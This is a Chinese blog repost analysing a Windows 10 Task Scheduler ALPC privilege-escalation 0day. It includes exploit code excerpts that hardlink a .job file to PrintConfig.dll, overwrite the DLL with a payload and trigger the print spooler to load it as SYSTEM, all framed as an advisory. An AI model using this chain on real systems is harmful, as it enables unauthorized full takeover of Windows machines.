中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

win10本地提權0day預警實例分析

發布時間:2022-01-15 18:05:46 來源:億速云 閱讀:168 作者:柒染 欄目:大數據

這篇文章跟大家分析一下“win10本地提權0day預警實例分析”。內容詳細易懂,對“win10本地提權0day預警實例分析”感興趣的朋友可以跟著小編的思路慢慢深入來閱讀一下,希望閱讀后能夠對大家有所幫助。下面跟著小編一起深入學習“win10本地提權0day預警實例分析”的知識吧。

0x00 漏洞背景

win10中任務調度服務導出的函數沒有驗證調用者的權限,任意權限的用戶調用該函數可以獲取系統敏感文件的寫權限,進而提權。

0x01 漏洞影響

漏洞影響win10和windows server 2016。目前發布的EXP暫時只能用于x64系統。

0x02 漏洞詳情

win10系統Task Scheduler任務調度服務中ALPC調用接口導出了SchRpcSetSecurity函數,該函數能夠對一個任務或者文件夾設置安全描述符。

 HRESULT SchRpcSetSecurity(
  [in, string] const wchar_t* path,
  [in, string] const wchar_t* sddl,
  [in] DWORD flags
);

該服務是通過svchost的服務組netsvcs所啟動的,對應的dll是schedsvc.dll。

win10本地提權0day預警實例分析

win10本地提權0day預警實例分析

win10本地提權0day預警實例分析

在xp系統中,任務存放在C:\Windows\Tasks目錄,后綴為.job;而win7及以后的版本任務以xml的格式存放在C:\Windows\System32\Tasks目錄。

win10本地提權0day預警實例分析

可能是為了兼容的考慮,SchRpcSetSecurity函數在win10中仍然會檢測C:\Windows\Tasks目錄下是否存在后綴為.job的文件,如果存在則會寫入DACL數據。如果將job文件硬鏈接到特定的dll那么特定的dll就會被寫入DACL數據,本來普通用戶對特定的dll只具有讀權限,這樣就具有了寫權限,接下來向dll寫入漏洞利用代碼并啟動相應的程序就獲得了提權。

那么首先需要找到一個普通用戶具有讀權限而系統具有寫入DACL權限的dll,EXP中用的是C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_4592475aca2acf83\Amd64\printconfig.dll,然后將C:\Windows\Tasks\UpdateTask.job硬鏈接到這個dll。

    WIN32_FIND_DATA FindFileData;
   HANDLE hFind;
   hFind = FindFirstFile(L"C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64*", &FindFileData);
   wchar_t BeginPath[MAX_PATH] = L"c:\\windows\\system32\\DriverStore\\FileRepository\\";
   wchar_t PrinterDriverFolder[MAX_PATH];
   wchar_t EndPath[23] = L"\\Amd64\\PrintConfig.dll";
   wmemcpy(PrinterDriverFolder, FindFileData.cFileName, wcslen(FindFileData.cFileName));
   FindClose(hFind);
   wcscat(BeginPath, PrinterDriverFolder);
   wcscat(BeginPath, EndPath);

   //Create a hardlink with UpdateTask.job to our target, this is the file the task scheduler will write the DACL of
   CreateNativeHardlink(L"c:\\windows\\tasks\\UpdateTask.job", BeginPath);

在調用SchRpcSetSecurity函數使普通用戶成功獲取了對該dll寫入的權限之后寫入資源文件中的exploit.dll。

    //Must be name of final DLL.. might be better ways to grab the handle
   HMODULE mod = GetModuleHandle(L"ALPC-TaskSched-LPE");

   //Payload is included as a resource, you need to modify this resource accordingly.
   HRSRC myResource = ::FindResource(mod, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
   unsigned int myResourceSize = ::SizeofResource(mod, myResource);
   HGLOBAL myResourceData = ::LoadResource(mod, myResource);
   void* pMyBinaryData = ::LockResource(myResourceData);

   //We try to open the DLL in a loop, it could already be loaded somewhere.. if thats the case, it will throw a sharing violation and we should not continue
   HANDLE hFile;
   DWORD dwBytesWritten = 0;
   do {
       hFile = CreateFile(BeginPath,GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);                  
       WriteFile(hFile,(char*)pMyBinaryData,myResourceSize,&dwBytesWritten,NULL);          
       if (hFile == INVALID_HANDLE_VALUE)
       {
           Sleep(5000);
       }
   } while (hFile == INVALID_HANDLE_VALUE);
   CloseHandle(hFile);

printconfig.dll和系統打印相關,并且沒有被print spooler服務默認啟動。所以隨后調用StartXpsPrintJob開始一個XPS打印。

    //After writing PrintConfig.dll we start an XpsPrintJob to load the dll into the print spooler service.
   CoInitialize(nullptr);
   IXpsOMObjectFactory *xpsFactory = NULL;
   CoCreateInstance(__uuidof(XpsOMObjectFactory), NULL, CLSCTX_INPROC_SERVER, __uuidof(IXpsOMObjectFactory), reinterpret_cast<LPVOID*>(&xpsFactory));
   HANDLE completionEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
   IXpsPrintJob *job = NULL;
   IXpsPrintJobStream *jobStream = NULL;
   StartXpsPrintJob(L"Microsoft XPS Document Writer", L"Print Job 1", NULL, NULL, completionEvent, NULL, 0, &job, &jobStream, NULL);
   jobStream->Close();
   CoUninitialize();
   return 0;

整個漏洞利用程序編譯出來是個dll,把它注入到notepad中運行,發現spoolsv.exe創建的notepad已經具有SYSTEM權限,而系統中的printconfig.dll也被修改成了資源文件中的exploit.dll。

win10本地提權0day預警實例分析

win10本地提權0day預警實例分析

0x03 防御措施

建議用戶安裝360安全衛士等終端防御軟件攔截利用此類漏洞的攻擊,不要打開來源不明的程序。

關于win10本地提權0day預警實例分析就分享到這里啦,希望上述內容能夠讓大家有所提升。如果想要學習更多知識,請大家多多留意小編的更新。謝謝大家關注一下億速云網站!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

清丰县| 昭觉县| 揭阳市| 平江县| 平泉县| 麻城市| 济南市| 独山县| 忻州市| 左云县| 高州市| 丰县| 江山市| 巴彦淖尔市| 阿拉善左旗| 右玉县| 娄底市| 博湖县| 廉江市| 阳西县| 丹巴县| 桃园县| 杭锦后旗| 新乡县| 台南县| 天津市| 巴林左旗| 青田县| 鸡泽县| 杂多县| 南华县| 蕉岭县| 澄江县| 公主岭市| 长阳| 延边| 永城市| 四平市| 平凉市| 登封市| 克东县|